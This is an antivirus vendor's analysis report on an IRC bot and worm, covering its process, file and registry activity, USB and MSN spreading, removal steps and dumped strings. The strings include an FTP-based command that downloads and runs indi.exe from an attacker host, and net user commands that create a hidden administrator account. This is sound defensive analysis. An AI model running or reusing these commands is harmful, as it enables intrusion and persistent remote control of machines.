Blazebot_8bbcfbd535 – Adaware

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.
IRCBot	A bot can communicate with command and control servers via IRC channel.
MSNWorm	A worm can spread its copies through the MSN Messanger.
Trojan-Proxy	This program can launch a proxy server (SOCKS4) on a designated TCP port.

Process activity

The Trojan creates the following process(es):

CryptedFile.exe:492
usb_magr.exe:456
net1.exe:200
%original file name%.exe:1736
net.exe:1148

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process CryptedFile.exe:492 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\usb_magr.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
C:\x.bat (53 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\MLU3OVE7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3YUZGLT3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\MZER4307\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GTW3S5W5\desktop.ini (67 bytes)

The process usb_magr.exe:456 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\x.bat (53 bytes)

The process %original file name%.exe:1736 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\CryptedFile.exe (9476 bytes)

Registry activity

The process CryptedFile.exe:492 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"X.bat" = "x"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 2D C6 02 6D C3 74 BD 79 EB E1 9C 4E BA D2 EE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Universal Serial Bus device" = "usb_magr.exe"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process usb_magr.exe:456 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 60 3D 92 1B 64 21 05 FC D7 07 1A BB 6D 18 D9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process net1.exe:200 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F4 FC E9 D7 33 F4 E6 BA 0D EF FC 1E A3 F3 71 9C"

The process %original file name%.exe:1736 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D B3 9A E3 5A 1A 80 E5 88 88 80 64 33 DC D4 58"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"CryptedFile.exe" = "CryptedFile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process net.exe:1148 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4C E8 BD 94 CB E0 87 D2 85 16 54 A3 C7 3E 47 E7"

Dropped PE files

MD5	File path
32c55400e485741be10958155b133741	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\CryptedFile.exe
32c55400e485741be10958155b133741	c:\WINDOWS\usb_magr.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.A worm can spread its copies through the MSN Messanger.

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
CryptedFile.exe:492
usb_magr.exe:456
net1.exe:200
%original file name%.exe:1736
net.exe:1148
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%WinDir%\usb_magr.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
C:\x.bat (53 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\MLU3OVE7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3YUZGLT3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\MZER4307\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GTW3S5W5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CryptedFile.exe (9476 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Universal Serial Bus device" = "usb_magr.exe"
Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Trend Micro Inc
Product Name: Hijack This
Product Version: 2.00.00.2
Legal Copyright: (c) 2007 Trend Micro Inc
Legal Trademarks:
Original Filename: cStub.exe
Internal Name: cStub.exe
File Version: 2.00.00.2
File Description: Hijack This
Comments: Hijack This
Language: Language Neutral

Company Name: Trend Micro IncProduct Name: Hijack ThisProduct Version: 2.00.00.2Legal Copyright: (c) 2007 Trend Micro IncLegal Trademarks: Original Filename: cStub.exeInternal Name: cStub.exeFile Version: 2.00.00.2File Description: Hijack ThisComments: Hijack ThisLanguage: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.rsrc	8192	2744	3072	2.60384	c82deb9661166fdd3eadf72a6440e109
.text	16384	140264	140288	4.46888	7719333339f2a11d69fe1c32ec5a8256
.reloc	163840	12	512	0.084755	6b1ae5a573ab4e89060f7fc64399d950

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
da7509568fa113a64b5ed483a4a0b72f

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

usb_magr.exe_456:

.text

`.rdata

@.data

.rsrc

@}.hP

x.down

TransactNamedPipe

GetWindowsDirectoryA

KERNEL32.dll

USER32.dll

MSVCRT.dll

_acmdln

RegCloseKey

RegCreateKeyExA

ADVAPI32.dll

WS2_32.dll

Exploit FTPD: %d, Total: %d.

%s: %d,

%s Exploit Statistics:

cmd /c echo open v1.virtual-rejectz.com 4356 > i&echo user ik ik >> i &echo binary >> i &echo get indi.exe >> i &echo quit >> i &ftp -n -s:i &indi.exe

%s.%s.%s.%s

%s Scan not active.

%s Current IP: %s.

%s Server started, Port: %i, File: %s.

%d.%d.%d.%d

%s Finished at %s:%d after %d minute(s) of scanning.

%s %s:%d, Scan thread: %d, Sub-thread: %d.

%s Failed to initialize critical section, error: <%d>

%s Portscan: %s:%d open.

Failed auth by %s(%s@%s)

Whats up %s? Im ready to rock!

Spy: %s!%s@%s (PM: "%s")

Fail by: %s!%s@%s (Pass Tried: %s)

%s out.

%s already running: <%d>.

Failed to start thread %s, error: <%d>.

[Current task] %s [System uptime] %s [Bot Uptime] %s

Bot installed on: %s.

Go fuck yourself %s.

MSN// Message & Zipfile sent to: %d contacts.

I tried to fool %d morons.

MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.

Removed by: %s!%s@%s

Advapi.dll Failed

%s Failed to parse command.

Updating from %s (%s)

%stempfile%d%d%d%d%d.exe

%s Failed to start scan thread, error: <%d>.

%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.

%s Failed to start scan, no IP specified.

%s Could not parse external IP.

%s Trying to get external IP.

%s No subnet class specified, try "-a" or "-b" or "-c"

%d.x.x.x

%s Failed to start scan, port is invalid.

%s Already scanning with %d threads. Too many specified.

ftp://%s:%s@%s:%s/%s path: %s

sftp

net localgroup Administrateurs ASP.NET /add

net localgroup Administradors ASP.NET /add

net localgroup Administratoren ASP.NET /add

net localgroup Administrator ASP.NET /add

net localgroup Administrators ASP.NET /add

net user ASP.NET hardcore /add

SYN: Failed to start thread,error: (%d).

SYN: --> (%s:%s) for (%s secs).

FUCKING: --> (%s:%s) for (%s secs).

Downloading %s and saving it to: %s.

Failed to start socks4 daemon (%s)

Socks(4) server started on %s:%i

Process Finished: "%s", Total Running Time: %s.

File executed: %s

Unable to create process: "%s"

%s Couldn't parse path, error: <%d>

%.1fkb downloaded to %s (%.1fkbps)

Couldn't open file for writing: %s.

Windows for Workgroups 3.1a

WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195

Windows 2000 5.0

Windows 2000 2195

pipe\epmapper

\\%s\

Windows 5.1

Windows 5.0

Windows 2000 LAN Manager*

NT LAN Manager *.*

Windows Server 2003 *.*

%s File transfer complete to IP: %s.

%s Started send to IP: %s.

200 PORT command successful.

PORT

%s %s LIST request from: %s

425 Passive not supported on this server

215 StnyFtpd

331 Password required

%s %s

%s Couldn't open data connection to: %s:%i, error: <%d>.

Ping Timeout? (%d-%d)%d/%d

Login list completed!

<%i> %s!%s@%s

Logins:

USER MEAT * 0 :%s

NICK %s

{%s-%s-%s-%s-%s}

{iNF-%s-%s-%s-%s-%s}

nigzss.txt

TskMultiChatForm.UnicodeClass

__oxFrame.class__

PASS %s

QUIT %s

PONG %s

NICK

PRIVMSG

JOIN

NOTICE %s :%s

PRIVMSG %s :%s

JOIN %s

JOIN %s %s

PART %s

[%s|%s]

shlwapi.dll

psapi.dll

userenv.dll

SQLDisconnect

SQLFreeHandle

SQLAllocHandle

SQLExecDirect

SQLSetEnvAttr

SQLDriverConnect

odbc32.dll

ShellExecuteA

shell32.dll

mpr.dll

GetUdpTable

GetTcpTable

iphlpapi.dll

dnsapi.dll

netapi32.dll

Mozilla/4.0 (compatible)

InternetCrackUrlA

InternetOpenUrlA

FtpPutFileA

FtpGetFileA

HttpSendRequestA

HttpOpenRequestA

wininet.dll

ws2_32.dll

RegEnumKeyExA

advapi32.dll

user32.dll

kernel32.dll

%s!%s@%s

NICK {%s-%s-%s-%s-%s}

usb_magr.exe

EFTP//

v1.virtual-rejectz.com

indi.exe

ftpd.exe

here.virtual-rejectz.com

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

%s\%s

del c:\x.bat

c:\x.bat

%s Done @ (%iKB Sec)

No %s thread found.

%s thread stopped.

[.ShellClassInfo]

CLSID={645FF040-5081-101B-9F08-00AA002F954E}

\Desktop.ini

\autorun.inf

icon=%SystemRoot%\system32\SHELL32.dll,4

http://www.whatismyip.com

http://checkip.dyndns.org

del "%s">nul

if exist "%s" goto Repeat

ping 0.0.0.0>nul

%s\removeMe%i%i%i%i.bat

%s%%s

%d day%s (%0.2d hours & %0.2d mins)

192.168.11.130

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps